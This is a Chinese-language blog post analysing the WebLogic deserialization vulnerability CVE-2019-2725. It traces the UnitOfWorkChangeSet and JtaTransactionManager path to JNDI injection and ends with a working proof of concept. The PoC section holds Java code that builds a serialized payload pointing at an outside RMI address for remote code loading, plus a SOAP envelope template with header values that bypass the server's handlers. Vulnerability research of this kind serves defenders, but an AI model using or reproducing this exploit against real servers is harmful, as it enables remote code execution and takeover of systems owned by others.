Fork me on GitHub

# CVE-2019-2725 二次反序列化jndi注入分析

前言

这个漏洞现在绕过补丁的poc,我知道有三种, 这篇文章主要分析第二个poc:

  1. UnitOfWorkChangeSet二次反序列化通过7u21 gadget触发rce
  2. UnitOfWorkChangeSet二次反序列化通过JtaTransactionManager实现jndi注入
  3. FileSystemXmlApplicationContext 这个类实现RCE
    其中exp影响也是递增的
  • 第一个Poc只能用于10.3.6版本(服务器环境必须是7u21)。
  • 第二个poc能用于10.3.6,(jdk版本在1.8版本以下)。
  • 第三个poc则可通杀10.3.6和12.1.3版本(jdk版本不受限制)这个poc就不放出了:)

漏洞分析

这个UnitOfWorkChangeSet类的构造函数传入byte,然后进行二次反序列化,漏洞代码位置如下
Alt text
ServerAddressingHandler和AsyncResponseHandler需要将poc设置addressing.RelatesTo和addressing.Action才能绕过,到WorkAreaServerHandler来处理,漏洞触发点也是在这个Handler,跟进去看一下。
Alt text
跟进handleRequest方法,传入构造好的poc,交给WorkContextXmlInputAdapter方法处理
Alt text
跟进去,来到了漏洞触发点,看一下调用栈。
Alt text
漏洞跟到了UnitOfWorkChangeSet这个类,传入JtaTransactionManager这个类的bytes,执行这个类的readObject方法,跟进去。
Alt text
调用了initUserTransactionAndTransactionManager方法,继续跟。
Alt text
userTransactionName的值是我们poc中的恶意的rmi地址
Alt text
继续跟的话,在这里调用lookup方法
Alt text
最终导致RCE
Alt text

POC构造

给位看官看到这里可能已经不耐烦了,还不给poc吗???
command为rmi构造的RCE的命令,这里不用赘述,懂的人自然知道怎么构造。
POC如下:

public class exp
{
    public static void main( String[] args ) throws Exception {
        String command ="rmi://121.195.170.127:9999/aa";
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        byte[] bytes = ObjectToByte(jtaTransactionManager);

        objectXmlEncoder(bytes , "payload.xml");
    }
    private static byte[] ObjectToByte(Object obj) {
        byte[] bytes = null;
        try {
            // object to bytearray
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            ObjectOutputStream oo = new ObjectOutputStream(bo);
            oo.writeObject(obj);

            bytes = bo.toByteArray();

            bo.close();
            oo.close();
        } catch (Exception e) {
            System.out.println("translation" + e.getMessage());
            e.printStackTrace();
        }
        return bytes;
    }

    public static void objectXmlEncoder(Object obj,String fileName)
            throws FileNotFoundException,IOException,Exception
    {


        java.io.File file = new java.io.File(fileName);
        if(!file.exists()){
            file.createNewFile();
        }
        java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
        java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
        xe.flush();
        //写入xml
        xe.writeObject(obj);
        xe.close();
        oop.close();
    }
}

将生成的payload.xml内容拷贝到这里就ok了

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
需要拼接的部分</void></class>
</java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

最后看一下复现情况
Alt text
参考链接:
廖老板的文章
畅师傅的文章

posted @ 2019-05-02 12:19  Afant1  阅读(962)  评论(0编辑  收藏  举报